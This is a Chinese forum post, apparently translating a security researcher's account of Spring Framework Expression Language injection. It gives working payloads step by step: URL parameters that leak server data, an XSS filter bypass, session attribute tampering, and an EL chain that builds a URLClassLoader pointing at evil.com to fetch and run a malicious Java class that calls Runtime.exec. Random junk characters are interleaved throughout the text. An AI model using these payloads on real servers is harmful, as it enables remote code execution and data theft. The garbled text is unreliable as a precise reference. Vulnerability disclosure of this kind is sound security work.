找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2361|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with. v4 j( }+ y# t; i
Expression Language Injection' U0 s! g3 Z6 B4 }' Q) l
Spring Framework脆弱性—DanAmodio
7 u; g  E7 L+ G2 A. {' ]全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
# }% t! K* I8 m8 [5 p& p可能会存在风险。
+ V9 |6 K! E' t9 {4 u+ U) \在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
" U0 d1 R' ]' N( O- P: {! a$ FArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
3 b4 z" F0 `8 W以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
$ L4 R6 H$ I: \& h以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前2 V2 M0 w& e' H% p$ C
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。  J; M+ O" C' L/ A7 `# [
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但" U4 [8 r8 a0 b3 x7 M
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版' z- K% }5 T8 M/ i
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
( I  e8 n# j- k* q这些版本不支持禁用double EL resolution.
9 z# l# E, C3 S/ J+ R5 o% m这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
( v+ s4 \7 L  y; IEL2.2容器上可能进行远程代码执行。
" y6 \9 x! G& t这是一个原始信息泄露的攻击例子:
) F. b6 B* P# U! v7 w请求:
) |' ?, i6 J: c4 l4 kttp://vulnerable.com/foo?message=${applicationScope}
2 E2 I, V- A- _+ I8 x到达以下内容页面:# o# I% S8 u: \8 A& g
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
+ ^" B4 h# P0 P5 _2 B你也可以做一些其他事情,如这样:0 b7 I5 r/ U  c% B5 A: g2 n
${9999+1}( A  `* p0 {( U6 p
还可以访问session 对象和beans
* G% }( B# u& F+ a${employee.lastName}6 n2 _7 G5 m* j7 x, J, Z
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
5 b: Y! r; a& t1 F, PEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东4 s, K  \% J' F) i0 |
西,比如XSS.
2 l) Z, r7 D  J4 [哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签/ Q$ v5 j( B4 z
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
+ O; v* c2 d! p+ y呢?”
# L2 a! G7 K) V因此,我尝试巳缦拢�
' f6 J6 b4 W5 R& G$ h2 xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP* t" w, v2 v. J  f* f5 z+ d
P0 v% n; A4 v7 w
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
$ K% X) M8 Q+ p4 e9 Y回的文本被插入进了spring:message 标签。$ K! M& }# M6 M, F1 W
这里是一个最终绕过过滤的实例:
; g" I: g% {) S/ N3 q8 r6 Qhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ  @1 R+ X) J) i2 k1 U3 ~- U$ l
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
- S: p0 E3 m+ X9 Y( R  |. r什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?3 w& A* U& _" D
经过一番研究,我学习到EL2.2 增加了方法调用。
+ `3 n0 F* `6 i" [$ j2 s% |我写了一个快速测试应用程序代码并且检测一些功能4 U7 h2 W2 n3 b2 F" U  j
${pageContext.request.getSession().setAttribute(“account”,”123456″)}, J" n1 {8 z9 e' t5 N0 P& R2 i9 e
${pageContext.request.getSession().setAttribute(“admin”,true)}
4 |# t% D/ `/ m好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
$ [0 n9 [" p2 w5 Z指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
+ }7 _7 n9 [3 q0 o! Y8 B1 M${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1: v# F) I8 {6 I: t; l: h
“, 1234)}! a  w/ O7 m! U8 m% H3 f
${“”.getClass().forName(“java.lang.Runtime”)}4 s* M& P1 g& `- n
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
) N7 J" z7 U8 I& P可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函3 K/ a2 h' S- f. S( x- k# a. ?: M7 q
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有1 s7 f$ h1 _$ I( b# I. \
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
' P: t7 [+ p3 f/ Y+ d8 T+ J方法签名invoke(Object obj, Object„ args)) H' \8 O0 K( {
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
2 g. [; s) |$ G! m3 c7 o! p0 T题,以让它可以工作起来。
" h5 k' D2 |" W+ T- S2 d漏洞利用:
1 K' f$ |) `3 |$ m我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我5 r8 m! [5 b1 Z. h1 G
希望你们中的一些JAVA奇才告诉我我是如此的可笑。# j0 K9 P# y, g$ C. L
这里有一些我试过的失败的用例,为了试图让它工作的用例:- G2 L! J& l$ s4 d! o. C
 写文件到文件系统
6 r& D$ K% x/ ]4 P2 r1 k 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.) t$ R( M& y8 ^/ Z6 h& ?1 _7 C4 _, g& y
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
1 {% U3 _; _" l' o2 }: Y/ [: Y${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}' ]# S$ }% z5 ~( m. @9 x
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
( J. V  d" f/ a+ B5 w# zorg.springframework.expression.spel.standard.SpelExpressionParser not found
2 K; Q4 N& p. @) `$ o1 dby& K. s% D! |4 p0 Q/ D
org.glassfish.web.javax.servlet.jsp [194].3 a( v3 E& m7 b6 g9 }
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
' P8 u  x( ^& W6 V# v 利用反射来创建一个新的Runtime(and watch the world burn): }. `  _; j1 l& J! S
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName8 T8 O8 l9 {0 |4 v  [" P. _  V
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}: V* F) ?4 l0 G
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}$ P' C% e8 R6 e8 B' W
 使用java.lang.ProcessBuilder7 s. b1 X* G8 j5 ^
 用表达式语言来评估表达式语言
2 c/ Q4 F* u. f" L/ a2 wExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.* x3 V! ]/ U, ?1 q
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request; [, w  @9 J* ^4 `
“,”".getClass(),null)}% \/ _, Z" ]4 A6 |9 \, h
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)% o8 g5 ]8 I7 |0 B/ [1 ^- h
我在使用一个空数组通过Method.invoke()时失败了很多次
) F9 U8 [$ A: l  p8 m  z“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo& C. z- ]: m/ V: J
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A. R! b) c9 y3 l* E+ X/ e
rrayList”).newInstance().toArray())
: R! r% H# C! ]8 x+ P4 M8 P: Qjava.lang.IllegalArgumentException: wrong number of arguments. F/ `- K+ v- O. W3 N
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可4 Z; ]- ]6 x* L1 J4 w! F  B
以创建一个恶意class文件并且指向类装载器.0 K& W# F+ U% t$ \" T. J
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:4 u# V/ t9 g" a5 ~; y' k5 t5 G( V
public class Malicious {
- h/ @% X) m0 R/ ?0 v1 Spublic Malicious() {! @. d; K, p' n: d7 z4 {
try {$ X( X  C2 p6 Y
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac4 n9 R+ ~* W5 n) a/ b  ~5 p
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
; J3 S+ Y2 Z* z5 x' T" K6 s} catch (Exception e) {
! C0 b6 f& \' d7 X; D1 J1 o5 ]8 Q}1 f6 [6 Q' a; L- I
}
  Z: ^8 w: v$ C" p我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回# V1 C/ j- i& r( I2 `& ?: k& f5 ~
话中,因此它可以被使用.
/ N) E& i8 Y/ d${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
) Q3 @. }$ `7 u% U(“java.util.ArrayList”).newInstance())}
! A5 L2 R- O6 DURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建& z3 v8 b. t7 G5 N
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和# M5 M2 y6 k7 i
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个) p  n) i0 Y( ^% X8 l" p
我们可以调用的create(string)方法,然后转换对一个URL对象。
( u  P" x. M' o! X& J${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh5 |: {7 W: O" F' l
ere/malicious/classfile/is/located/”).toURL())}0 y$ ~" E/ ^5 H) x' o6 g' C( [
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
6 r; B; s$ M9 g$ C恶意类文件被装载并创建,触发远程代码.) g1 x& T" d  b" Y
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte9 o0 J' Y1 P% Q6 f% }  L) M1 i* t
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
0 m* z5 X) B$ b/ n: Q: @  w# p" M; qgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance3 _& @' t5 Z: [$ e7 ]) S
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表